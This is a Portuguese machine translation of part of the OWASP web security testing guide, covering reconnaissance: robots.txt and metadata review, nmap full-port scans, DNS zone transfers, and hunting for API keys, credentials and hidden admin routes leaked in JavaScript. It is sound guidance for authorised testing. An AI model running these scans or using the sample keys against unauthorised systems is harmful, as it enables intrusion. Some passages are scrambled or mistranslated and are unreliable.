O agente do usuário diretiva refere-se ao web spider/robô/crawler específico. Por exemplo, User-Agent: Googlebot refere-se ao spider
do Google, enquanto User-Agent: bingbot refere-se a um crawler da Microsoft. User-Agent: o exemplo acima se aplica a todos os* no
web
spiders/robôs/crawlers.
A diretiva Disallow especifica quais recursos são proibidos por spiders/robôs/crawlers. No exemplo acima, são proibidos:
...
Não permitir: /search
...
Não permitir: /sdch
...
57
Web spiders/robôs/crawlers podem ignorar intencionalmente as diretivas Disallow especificadas em um arquivo robots.txt , como as de redes sociais
para garantir que os links compartilhados ainda sejam válidos. Portanto, o robots.txt não deve ser considerado um mecanismo para impor restrições
sobre como o conteúdo da Web é acessado, armazenado ou republicado por terceiros.
O arquivo robots.txt é recuperado do diretório raiz da web do servidor da web. Por exemplo, para recuperar o robots.txt de www.google.com usando
wget ou curl :
$ curl -O -Ss http://www.google.com/robots.txt && head -n5 robots.txt User-agent: Disallow: /search
*
Permitir: /pesquisa/sobre
Permitir: /search/static
Permitir: /search/howsearchworks
...
Analisar robots.txt usando as Ferramentas do Google para webmasters
Os proprietários de sites podem usar a função "Analisar robots.txt" do Google para analisar o site como parte de suas Ferramentas do Google para
webmasters. Esta ferramenta pode auxiliar nos testes e o procedimento é o seguinte:
1. Faça login nas Ferramentas do Google para webmasters com uma conta do Google.
2. No painel, insira a URL do site a ser analisado.

3. Escolha entre os métodos disponíveis e siga as instruções na tela.
META tags
As tags <META> estão localizadas na seção HEAD de cada documento HTML e devem ser consistentes em um site da Web no caso de o ponto inicial
do robô/spider/crawler não começar em um link de documento diferente do webroot, ou seja, um link direto . A diretiva Robots também pode ser
especificada por meio do uso de uma tag META específica.
Robôs META Tag
Se não houver <META NAME="ROBÔS" ... > entrada então o “Protocolo de Exclusão de Robôs” assume como padrão
INDEX,FOLLOW respectivamente. Portanto, as outras duas entradas válidas definidas pelo “Protocolo de Exclusão de Robôs” são prefixadas com NÃO...
ou seja , NOINDEX e NOFOLLOW .
Com base nas diretivas Disallow listadas no arquivo robots.txt no webroot, uma pesquisa de expressão regular para <META NAME="ROBOTS" em cada
página da Web é realizada e o resultado é comparado ao arquivo robots.txt no webroot.
Etiquetas de informações META diversas
As organizações geralmente incorporam tags META informativas no conteúdo da Web para oferecer suporte a várias tecnologias, como leitores de tela,
visualizações de redes sociais, indexação de mecanismos de pesquisa etc. Essas metainformações podem ser valiosas para os testadores na
identificação de tecnologias usadas e caminhos/funcionalidades adicionais para explorar e teste. As seguintes metainformações foram recuperadas de
www.whitehouse.gov via View Page Source em 05 de maio de 2020:
...
<meta property="og:locale" content="en_US" /> <meta
property="og:type" content="website" /> <meta property="og:title"
content="A Casa Branca" /> <meta property="og:description" content="Nós,
os cidadãos da América, estamos agora unidos em um grande esforço nacional para reconstruir nosso país e restaurar sua promessa
para todos. – Presidente Donald Trump." /> <meta property="og:url" content="https://www.whitehouse.gov/" /> <meta
property="og:site_name" content="A Casa Branca" /> <meta property=" fb:app_id" content="1790466490985150" /> <meta
property="og:image" content="https://www.whitehouse.gov/wp-content/uploads/2017/12/wh.gov share-img_03- 1024x538.png" />
<meta property="og:image:secure_url" content="https://www.whitehouse.gov/wp content/uploads/2017/12/wh.gov-share-
img_03-1024x538.png " /> <meta name="twitter:card" content="summary_large_image" />
58
<meta name="twitter:description" content="Nós, os cidadãos da América, estamos agora unidos em um grande esforço nacional para
reconstruir nosso país e restaurar sua promessa para todos. – Presidente Donald Trump." /> <meta name="twitter:title" content="A Casa
Branca" />
<meta name="twitter:site" content="@whitehouse" /> <meta

name="twitter:image" content="https://www.whitehouse.gov/wp-content/uploads/2017/12/wh .gov share-img_03-1024x538.png" /> <meta
name="twitter:creator" content="@whitehouse" />
...
<meta name="apple-mobile-web-app-title" content="A Casa Branca"> <meta name="application-
name" content="A Casa Branca"> <meta name="msapplication-TileColor" conteúdo
="#0c2644"> <meta name="theme-color" content="#f5f5f5">
...
Sitemaps
Um sitemap é um arquivo onde um desenvolvedor ou organização pode fornecer informações sobre as páginas, vídeos e outros arquivos
oferecidos pelo site ou aplicativo e a relação entre eles. Os mecanismos de pesquisa podem usar esse arquivo para explorar seu site de
maneira mais inteligente. Os testadores podem usar arquivos sitemap.xml para aprender mais sobre o site ou aplicativo para explorá-lo mais
completamente.
O trecho a seguir é do mapa do site principal do Google recuperado em 05 de maio de 2020.
$ wget --no-verbose https://www.google.com/sitemap.xml && head -n8 sitemap.xml 2020-05-05 12:23:30 URL:
https://www.google.com/sitemap .xml [2049] -> "sitemap.xml" [1]
<?xml version="1.0" encoding="UTF-8"?>

<sitemapindex xmlns="http://www.google.com/schemas/sitemap/0.84">
<sitemap>
<loc>https://www.google.com/gmail/sitemap.xml</loc> </sitemap>
<sitemap> <loc>https://www.google.com/forms/sitemaps.xml </loc> </
sitemap>
...
Explorando a partir daí, um testador pode desejar recuperar o mapa do site do Gmail https://www.google.com/gmail/sitemap.xml :
<?xml version="1.0" encoding="UTF-8"?> <urlset

xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xhtml="http://
www.w3 .org/1999/xhtml">
<url>
<loc>https://www.google.com/intl/am/gmail/about/</loc> <xhtml:link
href="https://www.google.com/gmail/about/" hreflang=" x-default" rel="alternate"/> <xhtml:link href="https://www.google.com/intl/el/
gmail/about/" hreflang="el" rel="alternate"/> < xhtml:link href="https://www.google.com/intl/it/gmail/about/" hreflang="it" rel="alternate"/
> <xhtml:link href="https://www. google.com/intl/ar/gmail/about/" hreflang="ar" rel="alternate"/>
...
Segurança TXT
security.txt é um padrão proposto que permite que os sites definam políticas de segurança e detalhes de contato. Existem vários motivos
pelos quais isso pode ser interessante em cenários de teste, incluindo, entre outros:
Identificar outros caminhos ou recursos para incluir na descoberta/análise.
Coleta de inteligência de código aberto.
Encontrar informações sobre Bug Bounties, etc.
Engenharia social.
59
O arquivo pode estar presente na raiz do servidor web ou no diretório .well-known/ . Ex:
https://example.com/security.txt
https://example.com/.well-known/security.txt
Aqui está um exemplo do mundo real recuperado do LinkedIn 2020 em 05 de maio:
$ wget --no-verbose https://www.linkedin.com/.well-known/security.txt && cat security.txt 2020-05-07 12:56:51 URL: https://
www.linkedin. com/.well-known/security.txt [333/333] -> "security.txt" [1] <div style="page-break-after: always;"></div>
<h1 id="conforms-to-ietf-`draft-foudil-securitytxt-07`">Em conformidade com IETF `draft-foudil-securitytxt 07`</h1> Contato:

mailto:security@linkedin.com Contato: https: //www.linkedin.com/help/linkedin/answer/62924 Criptografia: https://www.linkedin.com/help/
linkedin/answer/79676 Canônico: https://www.linkedin.com/.well-known /security.txt Política: https://www.linkedin.com/help/linkedin/answer/
62924
Humanos TXT
O human.txt é uma iniciativa para conhecer as pessoas por trás de um site. Ele assume a forma de um arquivo de texto que contém informações sobre as
diferentes pessoas que contribuíram para a construção do site. Ver humantxt para mais informações. Esse arquivo geralmente (embora nem sempre) contém
informações sobre carreiras ou locais/caminhos de trabalho.
O exemplo a seguir foi recuperado do Google 2020 em 05 de maio:
$ wget --no-verbose https://www.google.com/humans.txt && cathumans.txt 2020-05-07 12:57:52

URL:https://www.google.com/humans.txt [286/286] -> "humans.txt" [1]
O Google é construído por uma grande equipe de engenheiros, designers, pesquisadores, robôs e outros em muitos locais diferentes
em todo o mundo. Ele é atualizado continuamente e construído com mais ferramentas e tecnologias do que podemos imaginar. Se você
quiser nos ajudar, acesse o site careers.google.com.
Outras fontes de informação conhecidas
Existem outros RFCs e rascunhos da Internet que sugerem usos padronizados de arquivos dentro do diretório .well-known/ .
Listas das quais podem ser encontradas aqui ou aqui.
Seria bastante simples para um testador revisar o RFC/rascunhos e criar uma lista a ser fornecida a um rastreador ou fuzzer, a fim de verificar a existência
ou o conteúdo de tais arquivos.
Ferramentas
Navegador (ver fonte ou funcionalidade Dev Tools)
ondulação
wget
Suíte Burp
ZAP
60
Enumerar aplicativos no servidor da Web
EU IRIA
WSTG-INFO-04
Resumo
Uma etapa fundamental no teste de vulnerabilidades de aplicativos da Web é descobrir quais aplicativos específicos estão hospedados em um
servidor da Web. Muitos aplicativos têm vulnerabilidades conhecidas e estratégias de ataque conhecidas que podem ser exploradas para obter
controle remoto ou explorar dados. Além disso, muitos aplicativos costumam ser mal configurados ou não atualizados, devido à percepção de
que são usados apenas “internamente” e, portanto, não existe nenhuma ameaça. Com a proliferação de servidores web virtuais, o relacionamento
tradicional do tipo 1:1 entre um endereço IP e um servidor web está perdendo muito de seu significado original. Não é incomum ter vários sites
ou aplicativos cujos nomes simbólicos resolvem para o mesmo endereço IP. Este cenário não se limita a ambientes de hospedagem, mas
também se aplica a ambientes corporativos comuns.
Às vezes, os profissionais de segurança recebem um conjunto de endereços IP como alvo para teste. É discutível que esse cenário seja mais
semelhante a um engajamento do tipo teste de penetração, mas, em qualquer caso, espera-se que tal atribuição teste todos os aplicativos da
web acessíveis por meio desse alvo. O problema é que o endereço IP fornecido hospeda um serviço HTTP na porta 80, mas se um testador
deve acessá-lo especificando o endereço IP (que é tudo o que eles sabem), ele reporta “Nenhum servidor web configurado neste endereço” ou
uma mensagem semelhante . Mas esse sistema poderia “esconder” uma série de aplicações web, associadas a nomes simbólicos (DNS) não
relacionados. Obviamente, a extensão da análise é profundamente afetada pelo testador que testa todos os aplicativos ou apenas testa os
aplicativos que conhece.
Às vezes, a especificação de destino é mais rica. O testador pode receber uma lista de endereços IP e seus nomes simbólicos correspondentes.
No entanto, esta lista pode conter informações parciais, ou seja, pode omitir alguns nomes simbólicos e o cliente pode nem estar ciente disso
(isso é mais provável de acontecer em grandes organizações).
Outras questões que afetam o escopo da avaliação são representadas por aplicativos da web publicados em URLs não óbvios (por exemplo,
http://www.example.com/some-strange-URL ), que não são referenciados em outro lugar. Isso pode acontecer por erro (devido a configurações
incorretas) ou intencionalmente (por exemplo, interfaces administrativas não anunciadas).
Para resolver esses problemas, é necessário executar a descoberta de aplicativos da web.
Objetivos do teste
Enumere os aplicativos dentro do escopo que existem em um servidor web.
Como testar
A descoberta de aplicativos da Web é um processo destinado a identificar aplicativos da Web em uma determinada infraestrutura. O último
geralmente é especificado como um conjunto de endereços IP (talvez um bloco de rede), mas pode consistir em um conjunto de nomes
simbólicos de DNS ou uma mistura dos dois. Essas informações são fornecidas antes da execução de uma avaliação, seja um teste de
penetração de estilo clássico ou uma avaliação focada em aplicativos. Em ambos os casos, a menos que as regras de engajamento especifiquem
o contrário (por exemplo, teste apenas o aplicativo localizado na URL http://www.example.com/ ), a avaliação deve se esforçar para ser a mais
abrangente em escopo, ou seja, deve identificar todos os aplicativos acessíveis por meio do destino fornecido. Os exemplos a seguir examinam
algumas técnicas que podem ser empregadas para atingir esse objetivo.
Algumas das técnicas a seguir se aplicam a servidores da Web voltados para a Internet, ou seja, DNS e serviços de pesquisa baseados
na Web com IP reverso e o uso de mecanismos de pesquisa. Os exemplos usam endereços IP privados (como 192.168.1.100 ), que,
salvo indicação em contrário, representam endereços IP genéricos e são usados apenas para fins de anonimato.
61
Existem três fatores que influenciam quantos aplicativos estão relacionados a um determinado nome DNS (ou endereço IP):
1. URL base diferente
O ponto de entrada óbvio para um aplicativo da Web é www.example.com , ou seja, com essa notação abreviada, pensamos no aplicativo da
Web originado em http://www.example.com/ (o mesmo se aplica a https). Porém, mesmo sendo essa a situação mais comum, não há nada que
obrigue o aplicativo a iniciar em / .
Por exemplo, o mesmo nome simbólico pode ser associado a três aplicações web como:
http://www.example.com/url1 http://www.example.com/url2 http://www.example.com/url3
Nesse caso, a URL http://www.example.com/ não seria associada a uma página significativa e os três aplicativos ficariam ocultos, a menos que
o testador soubesse explicitamente como alcançá-los, ou seja, o testador conhece url1, url2 ou url3. Normalmente, não há necessidade de
publicar aplicativos da Web dessa maneira, a menos que o proprietário não queira que eles sejam acessíveis de maneira padrão e esteja
preparado para informar aos usuários sobre sua localização exata. Isso não significa que esses aplicativos sejam secretos, apenas que sua
existência e localização não são explicitamente anunciadas.
2. Portas não padronizadas
Embora os aplicativos da Web geralmente residam nas portas 80 (http) e 443 (https), não há nada de mágico nesses números de porta. Na
verdade, os aplicativos da Web podem ser associados a portas TCP arbitrárias e podem ser referenciados especificando Por exemplo,
o número da porta da seguinte forma: http[s]://www.example.com:port/ .
http://www.example.com:20000/ .
3. Hosts Virtuais
O DNS permite que um único endereço IP seja associado a um ou mais nomes simbólicos. Por exemplo, o endereço IP 192.168.1.100 pode
estar associado a nomes DNS www.example.com , helpdesk.example.com , webmail.example.com . Não é necessário que todos os nomes
pertençam ao mesmo domínio DNS. Esta relação 1-para-N pode ser refletida para servir conteúdo diferente usando os chamados hosts virtuais.
As informações que especificam o host virtual ao qual nos referimos estão incorporadas no cabeçalho HTTP 1.1 Host.
Ninguém suspeitaria da existência de outros aplicativos da Web além do óbvio www.example.com , a menos que conheça helpdesk.example.com
e webmail.example.com .
Abordagens para resolver o problema 1 - URLs não padrão

Não há como verificar totalmente a existência de aplicativos da Web com nomes não padronizados. Por não ser padrão, não há critérios fixos que
regem a convenção de nomenclatura; no entanto, há várias técnicas que o testador pode usar para obter informações adicionais.
Primeiro, se o servidor da web estiver mal configurado e permitir a navegação no diretório, pode ser possível identificar esses aplicativos.
Scanners de vulnerabilidade podem ajudar a esse respeito.
Em segundo lugar, esses aplicativos podem ser referenciados por outras páginas da Web e há uma chance de terem sido rastreados e indexados por
mecanismos de pesquisa da Web. Se os testadores suspeitarem da existência de tais aplicativos ocultos em www.example.com , eles poderão
pesquisar usando o operador do site e examinar o resultado de uma consulta para o site: www.example.com . Entre os URLs retornados, pode haver
um apontando para um aplicativo não óbvio.
Outra opção é pesquisar URLs que possam ser prováveis candidatos a aplicativos não publicados. Por exemplo, um front-end de webmail pode ser
acessado a partir de URLs como https://www.example.com/webmail ou https://mail.example.com/ . O mesmo vale para interfaces administrativas, que
administrativa do Tomcat) e ainda não referenciadas
https://webmail.example.com/
em nenhum lugar. , podem ser publicadas em URLs ocultos (por exemplo, uma interface
Portanto, fazer um pouco de pesquisa no estilo de dicionário (ou “adivinhação inteligente”) pode render alguns resultados. Scanners de vulnerabilidade
podem ajudar a esse respeito.
Abordagens para resolver o problema 2 - Portas não padrão

62
É fácil verificar a existência de aplicativos da Web em portas não padrão. Um scanner de porta como o nmap é capaz de realizar reconhecimento
de serviço por meio da opção -sV e identificará serviços http[s] em portas arbitrárias. O que é necessário é uma verificação completa de todo o
espaço de endereço da porta TCP de 64k.
Por exemplo, o comando a seguir procurará, com uma verificação de conexão TCP, todas as portas abertas no IP 192.168.1.100 e tentará
determinar quais serviços estão vinculados a elas (apenas as opções essenciais são mostradas - o nmap apresenta um amplo conjunto de
opções, cuja discussão está fora do escopo):
nmap –Pn –sT –sV –p0-65535 192.168.1.100
Basta examinar a saída e procurar http ou a indicação de serviços SSL-wrapped (que devem ser sondados para confirmar se são https). Por
exemplo, a saída do comando anterior pode ser semelhante a:
Portas interessantes em 192.168.1.100: (As 65527

portas verificadas, mas não mostradas abaixo, estão no estado: fechadas)
PORTA SERVIÇO DE ESTADO VERSÃO
22/tcp abra ssh OpenSSH 3.5p1 (protocolo 1.99)

80/tcp abra http Apache httpd 2.0.40 ((Red Hat Linux))
443/tcp abre ssl 901/tcp Servidor
abre http 1241/tcp abre ssl de administração OpenSSL Samba SWAT
3690/tcp abre desconhecido Scanner de segurança Nessus
8000/tcp abre http-alt? 8080/tcp
abrir http
Mecanismo Apache Tomcat/Coyote JSP 1.1
A partir deste exemplo, vê-se que:
Há um servidor Apache HTTP em execução na porta 80.
Parece que há um servidor HTTPS na porta 443 (mas isso precisa ser confirmado, por exemplo, visitando https://192.168.1.100 com um
navegador).
Na porta 901 existe uma interface web do Samba SWAT.
O serviço na porta 1241 não é HTTPS, mas é o daemon Nessus encapsulado em SSL.
A porta 3690 apresenta um serviço não especificado (o nmap devolve sua impressão digital - aqui omitida para maior clareza - juntamente
com instruções para enviá-la para incorporação no banco de dados de impressões digitais do nmap, desde que você saiba qual serviço ela
representa).
Outro serviço não especificado na porta 8000; isso pode ser HTTP, já que não é incomum encontrar servidores HTTP nesta porta. Vamos
examinar esta questão:
$ telnet 192.168.10.100 8000 Tentando

192.168.1.100...
Conectado a 192.168.1.100.
O caractere de escape é '^]'.
GET / HTTP/1.0
HTTP/1.0 200 OK
pragma: sem cache
Tipo de conteúdo: text/html
Servidor: MX4J-HTTPD/1.0
expira: agora Cache-Control: sem
cache
<html>
...
Isso confirma que, na verdade, é um servidor HTTP. Como alternativa, os testadores podem ter visitado a URL com um navegador da web; ou
usou os comandos GET ou HEAD Perl, que imitam as interações HTTP, como a fornecida acima (no entanto, as solicitações HEAD podem não
ser atendidas por todos os servidores).
63
Apache Tomcat em execução na porta 8080.
A mesma tarefa pode ser executada por scanners de vulnerabilidade, mas primeiro verifique se o scanner escolhido é capaz de identificar serviços HTTP[S]
executados em portas não padrão. Por exemplo, o Nessus é capaz de identificá-los em portas arbitrárias (desde que seja instruído a verificar todas as
portas) e fornecerá, com relação ao nmap, uma série de testes em vulnerabilidades conhecidas do servidor web, bem como na configuração SSL de
serviços HTTPS. Conforme sugerido anteriormente, o Nessus também é capaz de detectar aplicativos populares ou interfaces da Web que, de outra forma,
poderiam passar despercebidos (por exemplo, uma interface administrativa do Tomcat).
Abordagens para resolver o problema 3 - Hosts virtuais

Existem várias técnicas que podem ser usadas para identificar nomes DNS associados a um determinado endereço IP
xyzt .
Transferências de Zona DNS
Essa técnica tem uso limitado hoje em dia, devido ao fato de que as transferências de zona não são amplamente honradas pelos servidores DNS.
No entanto, pode valer a pena tentar. Em primeiro lugar, os testadores devem determinar os servidores de nomes que servem xyzt . Se um nome simbólico
for conhecido por xyzt (que seja www.example.com ), seus servidores de nomes podem ser determinados por meio de ferramentas como
como nslookup , hospedar , ou dig , solicitando registros DNS NS.
Se nenhum nome simbólico for conhecido para xyzt , mas a definição de destino contiver pelo menos um nome simbólico, os testadores podem tentar
aplicar o mesmo processo e consultar o servidor de nomes desse nome (esperando que xyzt também seja atendido por esse servidor de nomes) . Por
exemplo, se o destino consistir no endereço IP xyzt e no nome mail.example.com , determine os servidores de nomes para o domínio example.com .
O exemplo a seguir mostra como identificar os servidores de nomes para www.owasp.org usando o comando host :
$ host -t ns www.owasp.org www.owasp.org

é um apelido para owasp.org. servidor de nomes owasp.org
ns1.secure.net. servidor de nomes owasp.org ns2.secure.net.
Uma transferência de zona agora pode ser solicitada aos servidores de nomes para o domínio exemplo.com . Se o testador tiver sorte, ele receberá uma
lista das entradas DNS desse domínio. Isso incluirá o óbvio www.example.com e o não tão óbvio helpdesk.example.com e webmail.example.com (e
possivelmente outros). Verifique todos os nomes retornados pela transferência de zona e considere todos aqueles relacionados ao destino que está
sendo avaliado.
Tentando solicitar uma transferência de zona para owasp.org de um de seus servidores de nomes:
$ host -l www.owasp.org ns1.secure.net Usando servidor de

domínio: Nome: ns1.secure.net
Endereço: 192.220.124.10#53 Aliases:
Host www.owasp.org não encontrado: 5(REFUSED)

; A transferência falhou.
Consultas inversas de DNS
Esse processo é semelhante ao anterior, mas depende de registros DNS inversos (PTR). Em vez de solicitar uma transferência de zona, tente definir o
tipo de registro como PTR e faça uma consulta no endereço IP fornecido. Se os testadores tiverem sorte, eles podem receber de volta uma entrada de
nome DNS. Essa técnica depende da existência de mapas de nomes de IP para simbólicos, o que não é garantido.
Pesquisas de DNS baseadas na Web

64
Esse tipo de pesquisa é semelhante à transferência de zona DNS, mas depende de serviços baseados na Web que permitem pesquisas baseadas em nome
no DNS. Um desses serviços é o Netcraft Search DNS serviço. O testador pode consultar uma lista de nomes pertencentes ao domínio de sua escolha, como
exemplo.com . Em seguida, eles verificarão se os nomes obtidos são pertinentes ao alvo que estão examinando.
Serviços de IP reverso
Os serviços de IP reverso são semelhantes às consultas inversas de DNS, com a diferença de que os testadores consultam um aplicativo baseado na Web em
vez de um servidor de nomes. Há uma série de tais serviços disponíveis. Como eles tendem a retornar resultados parciais (e muitas vezes diferentes), é melhor
usar vários serviços para obter uma análise mais abrangente.
Ferramentas de domínio IP reverso (requer adesão gratuita)
Bing, sintaxe: ip:xxxx
Informações de hospedagem na web, sintaxe: http://whois.webhosting.info/xxxx
coisas de DNS (vários serviços disponíveis)
quadrado líquido (múltiplas consultas em domínios e endereços IP, requer instalação)
O exemplo a seguir mostra o resultado de uma consulta a um dos serviços de IP reverso acima para o endereço 216.48.3.18 de www.owasp.org . , o IP
Três nomes simbólicos não óbvios adicionais mapeados para o mesmo endereço foram revelados.
Figura 4.1.4-1: Informações Whois OWASP
Pesquisando no Google
Após a coleta de informações das técnicas anteriores, os testadores podem confiar nos mecanismos de pesquisa para possivelmente refinar e incrementar sua
análise. Isso pode fornecer evidências de nomes simbólicos adicionais pertencentes ao destino ou aplicativos acessíveis por meio de URLs não óbvios.
Por exemplo, considerando o exemplo anterior sobre www.owasp.org , o testador poderia consultar o Google e outros mecanismos de busca em busca de
informações (portanto, nomes DNS) relacionadas aos domínios recém-descobertos de webgoat.org ,
webscarab.com , e webscarab.net .
As técnicas de pesquisa no Google são explicadas em Testes: aranhas, robôs e rastreadores.
Ferramentas
Ferramentas de pesquisa de DNS, como nslookup , dig e similares.
Mecanismos de pesquisa (Google, Bing e outros principais mecanismos de pesquisa).
Serviço de pesquisa baseado na Web especializado relacionado a DNS: consulte o texto.

Machine
65
Nmap
Scanner de Vulnerabilidade do Nessus
Nikto
66
Revise o conteúdo da página da Web quanto a vazamento de informações
EU IRIA
WSTG-INFO-05
Resumo
É muito comum, e até recomendado, que os programadores incluam comentários e metadados detalhados em seu código-fonte. No entanto,
comentários e metadados incluídos no código HTML podem revelar informações internas que não deveriam estar disponíveis para invasores em
potencial. Comentários e revisão de metadados devem ser feitos para determinar se alguma informação está vazando.
Para aplicativos da Web modernos, o uso de JavaScript do lado do cliente para o front-end está se tornando mais popular. Tecnologias populares
de construção de front-end usam JavaScript do lado do cliente, como ReactJS, AngularJS ou Vue. Semelhante aos comentários e metadados no
código HTML, muitos programadores também codificam informações confidenciais em variáveis JavaScript no front-end. As informações
confidenciais podem incluir (mas não estão limitadas a): Chaves de API privadas (por exemplo , uma chave de API do Google Map irrestrita),
endereços IP internos, rotas confidenciais (por exemplo , rota para páginas ou funcionalidades de administração ocultas) ou até mesmo credenciais.
Essas informações confidenciais podem vazar desse código JavaScript front-end. Uma revisão deve ser feita para determinar se alguma
informação sensível vazou que poderia ser usada por invasores para abuso.
Para grandes aplicativos da Web, os problemas de desempenho são uma grande preocupação para os programadores. Os programadores
usaram métodos diferentes para otimizar o desempenho do front-end, incluindo Syntactically Awesome Style Sheets (SASS), Sassy CSS (SCSS),
webpack, etc. e por causa disso, os programadores geralmente implantam arquivos de mapa de origem para fins de depuração. Um “mapa de
origem” é um arquivo especial que conecta uma versão minificada/aumentada de um recurso (CSS ou JavaScript) à versão original criada. Os
programadores ainda estão debatendo se devem ou não trazer os arquivos de mapa de origem para o ambiente de produção.
No entanto, é inegável que os arquivos de mapa de origem ou arquivos para depuração, se liberados para o ambiente de produção, tornarão
seu código-fonte mais legível por humanos. Pode tornar mais fácil para os invasores encontrar vulnerabilidades no front-end ou
coletar informações confidenciais dele. A revisão do código JavaScript deve ser feita para determinar se algum arquivo de depuração foi exposto
no front-end. Dependendo do contexto e sensibilidade do projeto, um especialista em segurança deve decidir se os arquivos devem existir no
ambiente de produção ou não.
Objetivos do teste
Revise os comentários e metadados da página da Web para encontrar qualquer vazamento de informações.
Reúna arquivos JavaScript e revise o código JS para entender melhor o aplicativo e encontrar qualquer vazamento de informações.
Identifique se existem arquivos de mapa de origem ou outros arquivos de depuração front-end.
Como testar
Comentários da página da web de revisão e comentários
HTML de metadados são frequentemente usados pelos desenvolvedores para incluir informações de depuração sobre o aplicativo. Às vezes,
eles esquecem os comentários e os deixam em ambientes de produção. Os testadores devem procurar comentários HTML que comecem com

</div>
...
O testador pode até encontrar algo assim:

Verifique as informações da versão HTML para obter números de versão válidos e URLs de definição de tipo de dados (DTD)
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
strict.dtd – DTD estrito padrão
solto.dtd - solto DTD
frameset.dtd – DTD para documentos de conjunto de quadros
Algumas tags META não fornecem vetores de ataque ativos, mas permitem que um invasor crie o perfil de um aplicativo:
<META name="Autor" content="Andrew Muller">
Um comum (mas não WCAG compatível) META tag é Atualizar.
<META http-equiv="Atualizar" content="15;URL=https://www.owasp.org/index.html">
Um uso comum para a tag META é especificar palavras-chave que um mecanismo de pesquisa pode usar para melhorar a qualidade da pesquisa
resultados.
<META name="palavras-chave" lang="en-us" content="OWASP, security, sunshine, lollipops">
Embora a maioria dos servidores da Web gerencie a indexação do mecanismo de pesquisa por meio do arquivo robots.txt , ela também pode ser
gerenciada por tags META . A tag abaixo aconselhará os robôs a não indexar e não seguir links na página HTML que contém a tag.
<META name="robôs" conteúdo="nenhum">
A Plataforma de Seleção de Conteúdo da Internet (PICS) e Protocolo para Recursos de Descrição da Web (POWDER) fornecem infraestrutura para
associar metadados com conteúdo da Internet.
Identificação do código JavaScript e coleta de arquivos JavaScript Os programadores
geralmente codificam informações confidenciais com variáveis JavaScript no front-end. Os testadores devem verificar o código-fonte HTML e procurar o
código JavaScript entre as tags <script> e </script> . Os testadores também devem identificar arquivos JavaScript externos para revisar o código (arquivos
JavaScript têm a extensão de arquivo .js e o nome do arquivo JavaScript geralmente colocado no atributo src (source) de uma tag <script> ).
68
Verifique o código JavaScript em busca de vazamentos de informações confidenciais que possam ser usados por invasores para abusar ou manipular
ainda mais o sistema. Procure valores como: chaves de API, endereços IP internos, rotas confidenciais ou credenciais. Por exemplo:
const myS3Credentials =
{ accessKeyId: config('AWSS3AccessKeyID'),
secretAcccessKey: config('AWSS3SecretAccessKey'), };
O testador pode até encontrar algo assim:
var conString = "tcp://postgres:1234@localhost/postgres";
Quando uma chave de API é encontrada, os testadores podem verificar se as restrições de chave de API são definidas por serviço ou por IP, referenciador
HTTP, aplicativo, SDK etc.
Por exemplo, se os testadores encontrarem uma chave de API do Google Map, eles podem verificar se essa chave de API é restrita por IP ou restrita
apenas pelas APIs do Google Map. Se a chave de API do Google for restrita apenas pelas APIs de mapa do Google, os invasores ainda poderão usar
essa chave de API para consultar APIs de mapa do Google irrestritas e o proprietário do aplicativo deverá pagar por isso.
<script type="aplicativo/json">
...
{"GOOGLE_MAP_API_KEY":"AIzaSyDUEBnKgwiqMNpDplT6ozE4Z0XxuAbqDi4",
"RECAPTCHA_KEY":"6LcPscEUiAAAAHOwwM3fGvIx9rsPYUq62uRhGjJ0"}
...
</script>
Em alguns casos, os testadores podem encontrar rotas confidenciais do código JavaScript, como links para páginas administrativas internas ou ocultas.
<script type="aplicativo/json">
...
"runtimeConfig":{"BASE_URL_VOUCHER_API":"https://staging-voucher.victim.net/api",
"BASE_BACKOFFICE_API":"https://10.10.10.2/api", "ADMIN_PAGE":"/hidden_administrator"}
...
</script>
Identificando arquivos de mapa de origem
Os arquivos de mapa de origem geralmente são carregados quando o DevTools é aberto. Os testadores também podem encontrar arquivos de mapa de
origem adicionando a extensão “.map” após a extensão de cada arquivo JavaScript externo. Por exemplo, se um testador vir um arquivo /static/js/
main.chunk.js , ele poderá verificar seu arquivo de mapa de origem visitando
/static/js/main.chunk.js.map .
Teste de Caixa Preta
Verifique os arquivos de mapa de origem para obter informações confidenciais que possam ajudar o invasor a obter mais informações sobre o aplicativo.
Por exemplo:
{
"version": 3, "file":
"static/js/main.chunk.js", "sources": [ "/home/
sysadmin/cashsystem/src/actions/index.js", "/
home/sysadmin/ cashsystem/src/actions/reportAction.js",
69
"/home/sysadmin/cashsystem/src/actions/cashoutAction.js", "/home/sysadmin/
cashsystem/src/actions/userAction.js", "..."
],
"..."
}
Quando os sites carregam arquivos de mapa de origem, o código-fonte front-end se torna legível e mais fácil de depurar.
Ferramentas
Wget
Função "visualizar fonte" do navegador
globos oculares
Ondulação
Suíte Burp
Waybackurls
Verificador da API do Google Maps
Referências
KeyHacks
Artigos técnicos
HTML versão 4.01
XHTML
HTML versão 5
70
Identifique os pontos de entrada do aplicativo
EU IRIA
WSTG-INFO-06
Resumo
Enumerar o aplicativo e sua superfície de ataque é um precursor importante antes que qualquer teste completo possa ser realizado, pois permite
que o testador identifique prováveis áreas de fraqueza. Esta seção visa ajudar a identificar e mapear as áreas dentro do aplicativo que devem
ser investigadas após a conclusão da enumeração e do mapeamento.
Objetivos do teste
Identifique possíveis pontos de entrada e injeção por meio de análise de solicitação e resposta.
Como testar
Antes do início de qualquer teste, o testador deve sempre entender bem o aplicativo e como o usuário e o navegador se comunicam com ele. À
medida que o testador percorre o aplicativo, ele deve prestar atenção a todas as solicitações HTTP, bem como a todos os parâmetros e campos
de formulário passados para o aplicativo. Eles devem prestar atenção especial quando as solicitações GET são usadas e quando as solicitações
POST são usadas para passar parâmetros para o aplicativo. Além disso, eles também precisam prestar atenção quando outros métodos para
serviços RESTful são usados.
Observe que, para ver os parâmetros enviados no corpo das solicitações, como uma solicitação POST, o testador pode querer usar uma
ferramenta como um proxy de interceptação (consulte ferramentas). Dentro da solicitação POST, o testador também deve fazer uma observação
especial sobre quaisquer campos de formulário ocultos que estão sendo passados para o aplicativo, pois geralmente contêm informações
confidenciais, como informações de estado, quantidade de itens, preço dos itens, que o desenvolvedor nunca destinado a qualquer um ver ou
mudar.
Na experiência do autor, tem sido muito útil usar um proxy de interceptação e uma planilha para esta etapa do teste. O proxy acompanhará cada
solicitação e resposta entre o testador e o aplicativo enquanto eles o exploram. Além disso, neste ponto, os testadores geralmente interceptam
todas as solicitações e respostas para que possam ver exatamente todos os cabeçalhos, parâmetros etc. que estão sendo passados para o
